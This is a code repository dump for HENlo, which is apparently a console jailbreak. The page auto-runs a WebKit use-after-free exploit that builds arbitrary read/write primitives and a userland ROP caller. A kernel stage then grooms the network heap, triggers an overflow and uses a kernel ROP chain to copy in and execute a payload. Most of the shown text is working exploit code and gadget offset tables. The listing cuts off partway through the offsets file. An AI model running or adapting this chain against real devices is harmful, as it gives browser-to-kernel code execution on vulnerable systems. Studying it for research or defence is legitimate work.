Repository: TheOfficialFloW/HENlo
Branch: master
Commit: 7405023eb55a
Files: 11
Total size: 68.9 KB
Directory structure:
gitextract_eqjdimzx/
├── LICENSE
├── exploit.js
├── index.html
├── jsos.js
├── kernel.js
├── offsets.js
├── payload/
│ ├── LICENSE
│ ├── Makefile
│ ├── linker.x
│ └── payload.c
└── server.py
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
The MIT License (MIT)
Copyright (C) 2020 TheFloW
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: exploit.js
================================================
/* exploit.js -- implementation of the WebKit exploit
*
* Copyright (C) 2020 TheFloW
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
var _dview = null;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function d2u(d) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, d);
return { low: _dview.getUint32(4),
hi: _dview.getUint32(0) };
}
function init_memory(start_addr) {
return function(size) {
var res = start_addr;
start_addr += size;
return res;
}
}
function mymemset(addr, b, len) {
for (var i = 0; i < len; i++) {
aspace[addr + i] = b;
}
}
function mymemcpy(addr, data, len) {
for (var i = 0; i < len; i++) {
aspace[addr + i] = data.charCodeAt(i);
}
}
function read_string(addr) {
var i = aspace[addr];
var str = "";
while (i !== 00) {
str += String.fromCharCode(i);
addr++;
i = aspace[addr];
}
return str;
}
function decode_mov(addr) {
var opcode = aspace32[addr / 4];
return ((opcode & 0xf0000) >> 4) | (opcode & 0xfff);
}
function decode_stub(addr) {
return ((decode_mov(addr) & 0xffff) | (decode_mov(addr + 4) << 16)) >>> 0;
}
function gc() {
for (var i = 0; i < 100; i++) {
new Uint32Array(0x10000);
}
}
var frame_arr = [];
var frame_idx = 0;
var peek_val = 0;
function peek_stack() {
var ret_val = undefined;
var retno = 0xffff;
arguments.length = { valueOf:
function() {
var _retno = retno;
retno = 1;
return _retno;
}
};
var args = arguments;
(function() {
(function() {
(function() {
ret_val = arguments[0xff00];
}).apply(null, args);
}).apply(null, frame_arr);
}).apply(null, frame_arr);
peek_val = ret_val;
return ret_val;
}
function poke_stack(val) {
frame_arr[frame_idx] = val;
(function() {
(function() {
(function() {
}).apply(null, frame_arr);
}).apply(null, frame_arr);
}).apply(null, frame_arr);
frame_arr[frame_idx] = "";
}
function exploit() {
var ua = navigator.userAgent;
var ver = ua.substring(ua.indexOf("5.0 (") + 22, ua.indexOf(") Apple"));
var version_dep = version_deps[ver];
if (version_dep == undefined) {
alert("ERROR: Unsupported firmware.");
return -1;
}
init_offsets(ver);
for (var i = 0; i < 0xffff; i++) {
frame_arr[i] = i;
}
frame_idx = 0;
poke_stack(0);
if (peek_stack() == undefined) {
alert("ERROR: WebKit version not vulnerable.");
return -1;
}
frame_idx = 0;
poke_stack(0);
peek_stack();
frame_idx = peek_val;
poke_stack(0x4141);
for (var k = 0; k < 8; k++)
(function(){})();
peek_stack();
if (peek_val != 0x4141) {
alert("ERROR: Could not align the stack.");
return -1;
}
var uaf_replacement = new Array(0x400);
for (var i = 0; i < 0x400; i++) {
uaf_replacement[i] = [];
for (var k = 0; k < 0x40; k++) {
uaf_replacement[i][k] = 0x41414141;
}
uaf_replacement[i].unshift(
uaf_replacement[i].shift()); // ensure ArrayStorage
}
var uaf_target = []; // no arraystorage
for (var i = 0; i < 0x80; i++) {
uaf_target[i] = u2d(0x41414141, 0x41414141);
}
poke_stack(uaf_target); // store uaf_target in stack
uaf_target = 0; // remove reference
for (var k = 0; k < 4; k++)
gc(); // run GC
peek_stack(); // read stored reference
uaf_target = peek_val;
peek_val = 0;
// Corrupt JSArray by exploiting UaF
for (var i = 0; i < 0x400; i++) {
for (var k = 0x0; k < 0x80; k++) {
uaf_replacement[i][k] = 0x7fffffff;
if (uaf_target.length == 0x7fffffff) {
var yi = i;
for (var i = 0; i < yi; i++) {
uaf_replacement[i] = 0;
}
for (var i = yi + 1; i < 0x400; i++) {
uaf_replacement[i] = 0;
}
gc();
break;
}
}
}
if (uaf_target.length != 0x7fffffff) {
alert("ERROR: Could not corrupt the JSArray.");
return -1;
}
// Spray and interleave buffers and textareas
var textareas = new Array(0x2000);
var buffers = new Array(0x2000);
var buffer_len = 0x2000;
for (var i = 0; i < 0x2000; i++) {
buffers[i] = new ArrayBuffer(buffer_len);
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas[i] = e;
}
// Use corrupted JSArray to corrupt a ArrayBuffer
var base_addr = -1;
for (var i = 0x10000; i < 0x40000; i++) {
if (uaf_target[i] != 0) {
_dview.setFloat64(0, uaf_target[i]);
if (_dview.getUint32(4) == buffer_len) {
_dview.setUint32(4, 0xfffffffc);
uaf_target[i] = _dview.getFloat64(0); // buffer size
_dview.setFloat64(0, uaf_target[i - 1]);
base_addr = _dview.getUint32(0);
_dview.setUint32(0, 0);
uaf_target[i - 1] = _dview.getFloat64(0); // buffer offset
break;
}
}
}
// Find corrupted ArrayBuffer
var corrupted = null;
for (var i = 0; i < buffers.length; i++) {
if (buffers[i].byteLength != buffer_len) {
corrupted = buffers[i];
break;
}
}
if (!corrupted) {
alert("ERROR: Could not corrupt the ArrayBuffer.");
return -1;
}
// Arbitrary rw primitives
aspace = new Uint8Array(corrupted);
aspace16 = new Uint16Array(corrupted);
aspace32 = new Uint32Array(corrupted);
// Use corrupted ArrayBuffer to corrupt a textarea
var textarea_addr = null;
for (var i = base_addr / 4; i < base_addr / 4 + 0x4000; i++) {
if (aspace32[i] == 0x66656463) {
aspace32[i] = 0x55555555;
textarea_addr = i * 4;
break;
}
}
// Find corrupted textarea
var corrupted_textarea = null;
for (var i = 0; i < textareas.length; i++) {
if (textareas[i].rows == 0x55555555) {
corrupted_textarea = textareas[i];
break;
}
}
if (!corrupted_textarea) {
alert("ERROR: Could not corrupt the textarea.");
return -1;
}
// Leak pointer
var vtidx = textarea_addr + elementvtable_off;
var textareavptr = aspace32[vtidx / 4];
// Get bases
var webkit_base = textareavptr - SceWebKit_base_off;
var net_base = decode_stub(webkit_base + SceNet_stub_off) - SceNet_base_off;
var libc_base = (
decode_stub(webkit_base + SceLibc_stub_off) - SceLibc_base_off);
allocate_memory = init_memory(base_addr - 0x400000);
// Create fake vtable and replace old one
var fkvtable = allocate_memory(0x400 * 4);
for (var i = 0; i < 0x400; i++) {
aspace32[fkvtable / 4 + i] = aspace32[textareavptr / 4 + i];
}
aspace32[vtidx / 4] = fkvtable;
// Initialize ROP gadgets and library functions
var bases = {
"SceWebKit": webkit_base,
"SceNet": net_base,
"SceLibc": libc_base,
};
var tmpmem = allocate_memory(0x5000);
var caller = get_caller(tmpmem, corrupted_textarea, vtidx, fkvtable);
init_ggts(bases, caller, ver);
kxploit(caller, ver);
}
function go() {
try {
exploit();
} catch (e) {
alert(e);
}
}
================================================
FILE: index.html
================================================
<html>
<body>
<script src="exploit.js"></script>
<script src="kernel.js"></script>
<script src="jsos.js"></script>
<script src="offsets.js"></script>
<script type="text/javascript">
window.onload = function() {
go();
}
</script>
</body>
</html>
================================================
FILE: jsos.js
================================================
/* jsos.js -- JavaScript on Steroids
*
* Copyright (C) 2020 TheFloW
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
function init_offsets(ver) {
var version_dep = version_deps[ver];
for (b in version_dep) {
var offsets = version_dep[b].offsets;
for (off in offsets) {
if (offsets.hasOwnProperty(off)) {
window[off] = offsets[off];
}
}
}
}
function init_ggts(bases, caller, ver) {
var version_dep = version_deps[ver];
for (b in bases) {
var results = {};
if (bases.hasOwnProperty(b)) {
var functions = version_dep[b].functions;
for (fcn in functions) {
if (functions.hasOwnProperty(fcn)) {
window[fcn] = caller(functions[fcn] + bases[b]);
}
}
var gadgets = version_dep[b].gadgets;
for (ggt in gadgets) {
if (gadgets.hasOwnProperty(ggt)) {
window[ggt] = gadgets[ggt] + bases[b];
}
}
}
}
}
function get_caller(tmpmem, element, vtidx, fkvtable) {
return function (fcn) {
return function(r0, r1, r2, r3) {
var allocate_tmp = init_memory(tmpmem);
var context_size = 0x30;
var eleobj_size = 0x22;
var scontext = allocate_tmp(context_size * 4);
var seleobj = allocate_tmp(eleobj_size * 4);
// Save Element object
for (var i = 0; i < eleobj_size; i++) {
aspace32[seleobj / 4 + i] = aspace32[vtidx / 4 + i];
}
// Call setjmp
aspace32[fkvtable / 4 + setscrollleft_off] = setjmp;
element.scrollLeft = 0xdeadbabe;
// Save jmp context
for (var i = 0; i < context_size; i++) {
aspace32[scontext / 4 + i] = aspace32[vtidx / 4 + i];
}
// Restore Element object
for (var i = 0; i < eleobj_size; i++) {
aspace32[vtidx / 4 + i] = aspace32[seleobj / 4 + i];
}
var r1values = allocate_tmp(0x1c);
var r0values = allocate_tmp(0x1c);
var r4values = allocate_tmp(0x10);
var r8values = allocate_tmp(0x14);
var r8values_0 = allocate_tmp(0x14);
var r1values_1 = allocate_tmp(0x10);
var retval = allocate_tmp(0x4);
mymemset(retval, 0, 4);
aspace32[(r1values + 0x00) / 4] = r0values; // r0
aspace32[(r1values + 0x04) / 4] = r2; // r2
aspace32[(r1values + 0x08) / 4] = r3; // r3
aspace32[(r1values + 0x0c) / 4] = 0xDEADBEEF; // r8
aspace32[(r1values + 0x10) / 4] = 0xDEADBEEF; // fp
aspace32[(r1values + 0x14) / 4] = 0xDEADBEEF; // ip
aspace32[(r1values + 0x18) / 4] = ldm_r0_r0_r1_r4_r8_fp_ip_pc; // pc
aspace32[(r0values + 0x00) / 4] = r0; // r0
aspace32[(r0values + 0x04) / 4] = 0xDEADBEEF; // r1
aspace32[(r0values + 0x08) / 4] = r4values; // r4
aspace32[(r0values + 0x0c) / 4] = r8values; // r8
aspace32[(r0values + 0x10) / 4] = 0xDEADBEEF; // fp
aspace32[(r0values + 0x14) / 4] = 0xDEADBEEF; // ip
aspace32[(r0values + 0x18) / 4] = ldm_r8_r1_r6_ip_lr_pc; // pc
aspace32[(r8values + 0x00) / 4] = r1; // r1
aspace32[(r8values + 0x04) / 4] = 0xDEADBEEF; // r6
aspace32[(r8values + 0x08) / 4] = 0xDEADBEEF; // ip
aspace32[(r8values + 0x0c) / 4] = ldm_r4_r3_r8_ip_pc; // lr
aspace32[(r8values + 0x10) / 4] = fcn; // pc
aspace32[(r4values + 0x00) / 4] = retval; // r3
aspace32[(r4values + 0x04) / 4] = r8values_0; // r8
aspace32[(r4values + 0x08) / 4] = 0xDEADBEEF; // ip
aspace32[(r4values + 0x0c) / 4] = ldm_r8_r1_r6_ip_lr_pc; // pc
aspace32[(r8values_0 + 0x00) / 4] = r1values_1; // r1
aspace32[(r8values_0 + 0x04) / 4] = 0xDEADBEEF; // r6
aspace32[(r8values_0 + 0x08) / 4] = 0xDEADBEEF; // ip
aspace32[(r8values_0 + 0x0c) / 4] = ldm_r1_r0_ip_lr_pc; // lr
aspace32[(r8values_0 + 0x10) / 4] = str_r0_r3_bx_lr; // pc
aspace32[(r1values_1 + 0x00) / 4] = scontext; // r0
aspace32[(r1values_1 + 0x04) / 4] = 0xDEADBEEF; // ip
aspace32[(r1values_1 + 0x08) / 4] = 0xDEADBEEF; // lr
aspace32[(r1values_1 + 0x0c) / 4] = longjmp; // pc
// Trigger ROP chain
aspace32[fkvtable / 4 + setscrollleft_off] = ldm_r1_r0_r2_r3_r8_fp_ip_pc;
element.scrollLeft = r1values;
return aspace32[retval / 4];
}
};
}
================================================
FILE: kernel.js
================================================
/* exploit.js -- implementation of the kernel exploit
*
* Copyright (C) 2020 TheFloW
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX = 0x1020d005
SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW = 0x1020d006
SCE_NET_AF_INET = 2
SCE_NET_SOCK_DGRAM = 2
SIOCDIFADDR = 0x80206919
SIOCAIFADDR = 0x8040691a
SIOCIFDESTROY = 0x80206979
SIOCIFCREATE = 0x8020697a
SIZEOF_SIN = 0x10
PLANT_SIZE = 0x4000
DUMMY_SIZE = 0x4000
SOFTC_SIZE = 0x550
SPLIT_SIZE = 0x148
SPRAY_SIZE = 0xc8
HOLE_SIZE = 0x80
IF_SIZE = 0x140
NUM_SPRAY = 0x100
NUM_SOCKS = 0x80
NUM_SLOTS = 0x04
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.overrideMimeType('text\/plain; charset=x-user-defined');
req.send(null);
if (req.status != 200) return '';
return req.responseText;
}
function inet_addr(str) {
var ip_list = str.split(".").reverse();
var a1 = parseInt(ip_list[0]);
var a2 = parseInt(ip_list[1]);
var a3 = parseInt(ip_list[2]);
var a4 = parseInt(ip_list[3]);
var addr = ((a1 << 24) | (a2 << 16) | (a3 << 8) | a4) >>> 0;
return addr;
}
function if_add_addr(sock, name, addr, dstaddr, mask) {
var ifr = allocate_memory(0x40);
mymemset(ifr, 0, 0x40);
mymemcpy(ifr, name, name.length);
aspace[(ifr + 0x10) / 1] = SIZEOF_SIN;
aspace[(ifr + 0x11) / 1] = SCE_NET_AF_INET;
aspace32[(ifr + 0x14) / 4] = addr;
aspace[(ifr + 0x20) / 1] = SIZEOF_SIN;
aspace[(ifr + 0x21) / 1] = SCE_NET_AF_INET;
aspace32[(ifr + 0x24) / 4] = dstaddr;
aspace[(ifr + 0x30) / 1] = SIZEOF_SIN;
aspace[(ifr + 0x31) / 1] = SCE_NET_AF_INET;
aspace32[(ifr + 0x34) / 4] = mask;
return sceNetSyscallIoctl(sock, SIOCAIFADDR, ifr);
}
function if_del_addr(sock, name, addr) {
var ifr = allocate_memory(0x20);
mymemset(ifr, 0, 0x20);
mymemcpy(ifr, name, name.length);
aspace[(ifr + 0x10) / 1] = SIZEOF_SIN;
aspace[(ifr + 0x11) / 1] = SCE_NET_AF_INET;
aspace32[(ifr + 0x14) / 4] = addr;
return sceNetSyscallIoctl(sock, SIOCDIFADDR, ifr);
}
function if_clone_create(sock, name) {
var ifr = allocate_memory(0x20);
mymemset(ifr, 0, 0x20);
mymemcpy(ifr, name, name.length);
return sceNetSyscallIoctl(sock, SIOCIFCREATE, ifr);
}
function if_clone_destroy(sock, name) {
var ifr = allocate_memory(0x20);
mymemset(ifr, 0, 0x20);
mymemcpy(ifr, name, name.length);
return sceNetSyscallIoctl(sock, SIOCIFDESTROY, ifr);
}
function net_malloc(slot, size) {
var args = allocate_memory(0x08);
aspace32[(args + 0x00) / 4] = slot;
aspace32[(args + 0x04) / 4] = size;
return sceNetSyscallControl(-1, 0x20000008, args, 0x08);
}
function net_free(slot) {
var args = allocate_memory(0x08);
aspace32[(args + 0x00) / 4] = slot;
aspace32[(args + 0x04) / 4] = 0;
return sceNetSyscallControl(-1, 0x20000009, args, 0x08);
}
function RopChain(buf, buf_addr) {
this.chain = [];
this.sysmem_offsets = [];
this.sysmem_gadgets = [];
this.push = function(gadget) {
this.chain.push(gadget);
};
this.push_sysmem = function(gadget) {
this.sysmem_offsets.push(this.chain.length * 4);
this.sysmem_gadgets.push(gadget);
this.push(0xDEADBEEF);
};
this.compile = function() {
var resolve_stub_size = this.sysmem_offsets.length * 16 * 4;
for (var i = 0; i < this.sysmem_offsets.length; i++) {
var offset = buf_addr + resolve_stub_size + this.sysmem_offsets[i];
var gadget = SceSysmem_base_off + this.sysmem_gadgets[i];
var resolve_stub = [
movs_r0_0_pop_r3_pc, // pc
ksceKernelFreeMemBlock, // r3
blx_r3_pop_r3_pc, // pc
0xDEADBEEF, // r3
push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc, // pc
0xDEADBEEF, // r6
0xDEADBEEF, // r0
offset, // r1
add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr, // r3
gadget, // r4
0xDEADBEEF, // r5
0xDEADBEEF, // r6
blx_r3_pop_r3_pc, // pc
0xDEADBEEF, // r4
0xDEADBEEF, // r5
0xDEADBEEF, // r3
];
Array.prototype.unshift.apply(this.chain, resolve_stub);
}
for (var i = 0; i < this.chain.length; i++) {
aspace32[(buf + i * 4) / 4] = this.chain[i];
}
}
}
function build_krop(buf, buf_addr, payload, payload_size) {
var krop = new RopChain(buf, buf_addr);
var payload_code_blockid = buf_addr + 0x00;
var payload_code_block = buf_addr + 0x04;
// Allocate code block
krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc
krop.push(empty_string); // r0
krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW); // r1
krop.push((payload_size + 0xfff) & ~0xfff); // r2
krop.push(0); // r3
krop.push(ksceKernelAllocMemBlock); // r4
krop.push(0xDEADBEEF); // r6
krop.push(blx_r4_add_sp_c_pop_r4_r5_pc); // pc
krop.push(0xDEADBEEF); // dummy
krop.push(0xDEADBEEF); // dummy
krop.push(0xDEADBEEF); // dummy
krop.push(payload_code_blockid); // r4
krop.push(0xDEADBEEF); // r5
krop.push(str_r0_r4_pop_r4_pc); // pc
krop.push(0xDEADBEEF); // r4
// Get code block
krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc
krop.push(0xDEADBEEF); // r0
krop.push(payload_code_block); // r1
krop.push(0xDEADBEEF); // r2
krop.push(ksceKernelGetMemBlockBase); // r4
krop.push(payload_code_blockid); // r4
krop.push(0xDEADBEEF); // r6
krop.push(ldr_r0_r4_pop_r4_pc); // pc
krop.push(0xDEADBEEF); // r4
krop.push(blx_r3_pop_r3_pc); // pc
krop.push(0xDEADBEEF); // r3
// Copy payload from user to code block
krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc
krop.push(0xDEADBEEF); // r0
krop.push(payload); // r1
krop.push(payload_size); // r2
krop.push(ksceKernelMemcpyUserToKernel); // r3
krop.push(payload_code_block); // r4
krop.push(0xDEADBEEF); // r6
krop.push(ldr_r0_r4_pop_r4_pc); // pc
krop.push(0xDEADBEEF); // r4
krop.push(blx_r3_pop_r3_pc); // pc
krop.push(0xDEADBEEF); // r3
// Mark code block as executable
krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc
krop.push(0xDEADBEEF); // r0
krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX); // r1
krop.push(0xDEADBEEF); // r2
krop.push_sysmem(ksceKernelRemapBlock); // r3
krop.push(payload_code_blockid); // r4
krop.push(0xDEADBEEF); // r6
krop.push(ldr_r0_r4_pop_r4_pc); // pc
krop.push(0xDEADBEEF); // r4
krop.push(blx_r3_pop_r3_pc); // pc
krop.push(0xDEADBEEF); // r3
// Clean cache
krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc
krop.push(0xDEADBEEF); // r0
krop.push((payload_size + 0x1f) & ~0x1f); // r1
krop.push(0xDEADBEEF); // r2
krop.push_sysmem(ksceKernelCpuDcacheWritebackRange); // r3
krop.push(payload_code_block); // r4
krop.push(0xDEADBEEF); // r6
krop.push(ldr_r0_r4_pop_r4_pc); // pc
krop.push(0xDEADBEEF); // r4
krop.push(blx_r3_pop_r3_pc); // pc
krop.push(0xDEADBEEF); // r3
// Execute payload
krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc
krop.push(0xDEADBEEF); // r0
krop.push_sysmem(0); // r1
krop.push(iflist_addr); // r2
krop.push(1); // r3
krop.push(payload_code_block); // r4
krop.push(0xDEADBEEF); // r6
krop.push(ldr_r0_r4_pop_r4_pc); // pc
krop.push(0xDEADBEEF); // r4
krop.push(orrs_r0_r3_pop_r3_pc); // pc
krop.push(0xDEADBEEF); // r3
krop.push(blx_r0_pop_r3_pc); // pc
// Compile kernel ROP chain
krop.compile();
}
function kxploit(caller, ver) {
// Fetch kernel payload
var payload = load_binary_resource("payload.bin");
var payload_size = payload.length;
var payload_buf = malloc(payload_size);
mymemcpy(payload_buf, payload, payload_size);
// Empty string
var sockname = allocate_memory(0x04);
aspace32[sockname / 4] = 0;
// Initialize socket
var sock = sceNetSyscallSocket(
sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0);
// Destroy clone interface
if_clone_destroy(sock, "pppoe1337");
// Get 2nd interface name
var iflist = allocate_memory(2 * IF_SIZE);
sceNetSyscallGetIfList(iflist, 2);
var ifname = read_string(iflist + IF_SIZE);
// Delete custom address
if_del_addr(sock, ifname, 0x13371337);
// Free all slots
for (var i = 0; i < NUM_SLOTS; i++)
net_free(i);
// Reserve memory for heap feng shui
net_malloc(0, 0x8710);
// Heap grooming
var buf = allocate_memory(SPRAY_SIZE);
mymemset(buf, 0, SPRAY_SIZE);
var sin = allocate_memory(SIZEOF_SIN);
mymemset(sin, 0, 0x10);
aspace[(sin + 0x00) / 1] = SIZEOF_SIN;
aspace[(sin + 0x01) / 1] = SCE_NET_AF_INET;
aspace16[(sin + 0x02) / 2] = sceNetHtons(8888);
aspace32[(sin + 0x04) / 4] = inet_addr("127.0.0.1");
sceNetSyscallBind(sock, sin, SIZEOF_SIN);
var iov = allocate_memory(0x08);
aspace32[(iov + 0x00) / 4] = buf; // iov_base
aspace32[(iov + 0x04) / 4] = SPRAY_SIZE; // iov_len
var msg = allocate_memory(0x1c);
aspace32[(msg + 0x00) / 4] = sin; // msg_name
aspace32[(msg + 0x04) / 4] = SIZEOF_SIN; // msg_namelen
aspace32[(msg + 0x08) / 4] = iov; // msg_iov
aspace32[(msg + 0x0c) / 4] = 1; // msg_iovlen
aspace32[(msg + 0x10) / 4] = 0; // msg_control
aspace32[(msg + 0x14) / 4] = 0; // msg_controllen
aspace32[(msg + 0x18) / 4] = 0; // msg_flags
for (var i = 0; i < NUM_SPRAY; i++)
sceNetSyscallSendmsg(sock, msg, 0);
var spray_sock = [];
for (var i = 0; i < NUM_SOCKS; i++)
spray_sock[i] = sceNetSyscallSocket(
sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0);
// Heap feng shui
// 0x20+0x4000+0x8+0x20+0x148+0x8+0x20+0x550+0x8+0x20+0x4000+0x8
net_free(0);
net_malloc(0, 0x6e8 + PLANT_SIZE);
net_malloc(3, DUMMY_SIZE); // prevent hole from coalescing
net_free(0);
net_malloc(0, PLANT_SIZE);
net_malloc(1, SOFTC_SIZE);
net_malloc(2, SPLIT_SIZE);
// Allocate plant buffer
var plant_buf = malloc(PLANT_SIZE);
mymemset(plant_buf, 0, PLANT_SIZE);
// Leak clone interface and chunk header
var softc_leak = plant_buf + 0x2000;
net_free(1);
if_clone_create(sock, "pppoe1337");
if_clone_destroy(sock, "pppoe1337");
net_malloc(1, SOFTC_SIZE - 0x80);
net_free(1);
sceNetSyscallControl(-1, 0x14, softc_leak, SOFTC_SIZE);
// Create clone interface
if_clone_create(sock, "pppoe1337");
// Check for validity
if (read_string(softc_leak + 0x14) != "pppoe1337" ||
aspace32[(softc_leak + 0x6c) / 4] != SOFTC_SIZE - 0x80) {
if_clone_destroy(sock, "pppoe1337");
for (var i = 0; i < NUM_SLOTS; i++)
net_free(i);
for (var i = 0; i < NUM_SOCKS; i++)
sceNetSyscallClose(spray_sock[i]);
sceNetSyscallClose(sock);
alert("ERROR: Could not leak heap memory.");
return -1;
}
// Obtain kernel pointers
netps_base = aspace32[(softc_leak + 0x64) / 4] + SceNetPs_base_off;
iflist_addr = aspace32[(softc_leak + 0x74) / 4] - 0x150;
// Initialize kernel ROP gadgets
var ex_bases = {
"SceNetPs": netps_base,
};
init_ggts(ex_bases, caller, ver);
// Fake object
var fake = plant_buf + 0x1000;
var fake_addr = iflist_addr + 0x6e8 + 0x1000;
aspace32[(fake + 0x00) / 4] = fake_addr + 0x00; // r0
aspace32[(fake + 0x04) / 4] = 0xDEADBEEF; // r1
aspace32[(fake + 0x08) / 4] = 0xDEADBEEF; // r2
aspace32[(fake + 0x0c) / 4] = 0xDEADBEEF; // r3
aspace32[(fake + 0x10) / 4] = 0xDEADBEEF; // r4
aspace32[(fake + 0x14) / 4] = 0xDEADBEEF; // ip
aspace32[(fake + 0x18) / 4] = fake_addr + 0x100; // sp
aspace32[(fake + 0x1c) / 4] = 0xDEADBEEF; // lr
aspace32[(fake + 0x20) / 4] = pop_pc; // pc
aspace32[(fake + 0x34) / 4] = fake_addr + 0x00; // any valid address
aspace32[(fake + 0x50) / 4] = ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc; // func
aspace32[(fake + 0x58) / 4] = 1;
// Build kernel ROP chain
build_krop(fake + 0x100, fake_addr + 0x100, payload_buf, payload_size);
// Plant data
net_free(0);
sceNetSyscallControl(-1, 0x20000000, plant_buf, PLANT_SIZE);
net_malloc(0, PLANT_SIZE);
// Prepare corruption
if_add_addr(sock, ifname, 0x13371337, fake_addr, 0);
// Create hole
net_free(2);
net_malloc(2, SPLIT_SIZE - HOLE_SIZE - 0x28);
// Trigger overflow and code execution
sceNetSyscallGetIfList(iflist, 0x0199999a);
return 0;
}
================================================
FILE: offsets.js
================================================
/* offsets.js -- offsets for exploitation
*
* Copyright (C) 2020 TheFloW
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
SceWebKit_gadgets_v361_v365 = {
ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x5490e4,
ldm_r1_r0_ip_lr_pc: 0x2b120,
ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62b6e0,
ldm_r4_r3_r8_ip_pc: 0xb2bd4,
ldm_r8_r1_r6_ip_lr_pc: 0x5579c0,
str_r0_r3_bx_lr: 0x2431d1,
}
SceWebKit_gadgets_v368_v373 = {
ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x549a80,
ldm_r1_r0_ip_lr_pc: 0x2b19c,
ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62f808,
ldm_r4_r3_r8_ip_pc: 0xb2d3c,
ldm_r8_r1_r6_ip_lr_pc: 0x5587b0,
str_r0_r3_bx_lr: 0x24367d,
}
SceWebKit_offsets_v361_v365 = {
SceWebKit_base_off: 0xabb63c,
SceNet_stub_off: 0x85f3f4,
SceLibc_stub_off: 0x85f4e4,
elementvtable_off: -0x70,
setscrollleft_off: 0x4e,
}
SceWebKit_offsets_v368_v373 = {
SceWebKit_base_off: 0xac3544,
SceNet_stub_off: 0x866ab8,
SceLibc_stub_off: 0x866ba8,
elementvtable_off: -0x70,
setscrollleft_off: 0x4e,
}
SceLibc_functions_v360_v373 = {
malloc: 0xfa19,
free: 0xfa29,
}
SceLibc_gadgets_v360_v373 = {
setjmp: 0x14071,
longjmp: 0x14099,
}
SceLibc_offsets_v360_v373 = {
SceLibc_base_off: 0xfa49,
}
SceNet_functions_v360_v373 = {
sceNetHtons: 0x23d5,
sceNetSyscallClose: 0x9f60,
sceNetSyscallBind: 0x9f80,
sceNetSyscallIoctl: 0x9f90,
sceNetSyscallSocket: 0xa030,
sceNetSyscallGetIfList: 0xa050,
sceNetSyscallSendmsg: 0xa0b0,
sceNetSyscallControl: 0xa110,
}
SceNet_offsets_v360_v373 = {
SceNet_base_off: 0x23ed,
}
SceNetPs_gadgets_v363_v370 = {
blx_r0_pop_r3_pc: 0x2a11b,
blx_r3_pop_r3_pc: 0x1959,
blx_r4_add_sp_c_pop_r4_r5_pc: 0xe361,
pop_pc: 0x1619f,
pop_r0_r1_r2_r3_r4_r6_pc: 0x230cd,
ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb734,
ldr_r0_r4_pop_r4_pc: 0x2a79d,
str_r0_r4_pop_r4_pc: 0x1693f,
push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b067,
add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c1b,
orrs_r0_r3_pop_r3_pc: 0x3c2f,
movs_r0_0_pop_r3_pc: 0xce5,
ksceKernelFreeMemBlock: 0x2a7a8,
ksceKernelGetMemBlockBase: 0x2a7e8,
ksceKernelMemcpyUserToKernel: 0x2a7f8,
ksceKernelAllocMemBlock: 0x2a818,
empty_string: 0x22,
}
SceNetPs_gadgets_v371_v373 = {
blx_r0_pop_r3_pc: 0x2a14b,
blx_r3_pop_r3_pc: 0x1959,
blx_r4_add_sp_c_pop_r4_r5_pc: 0xe391,
pop_pc: 0x161cf,
pop_r0_r1_r2_r3_r4_r6_pc: 0x230fd,
ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb764,
ldr_r0_r4_pop_r4_pc: 0x2a7cd,
str_r0_r4_pop_r4_pc: 0x1696f,
push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b097,
add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c4b,
orrs_r0_r3_pop_r3_pc: 0x3c2f,
movs_r0_0_pop_r3_pc: 0xce5,
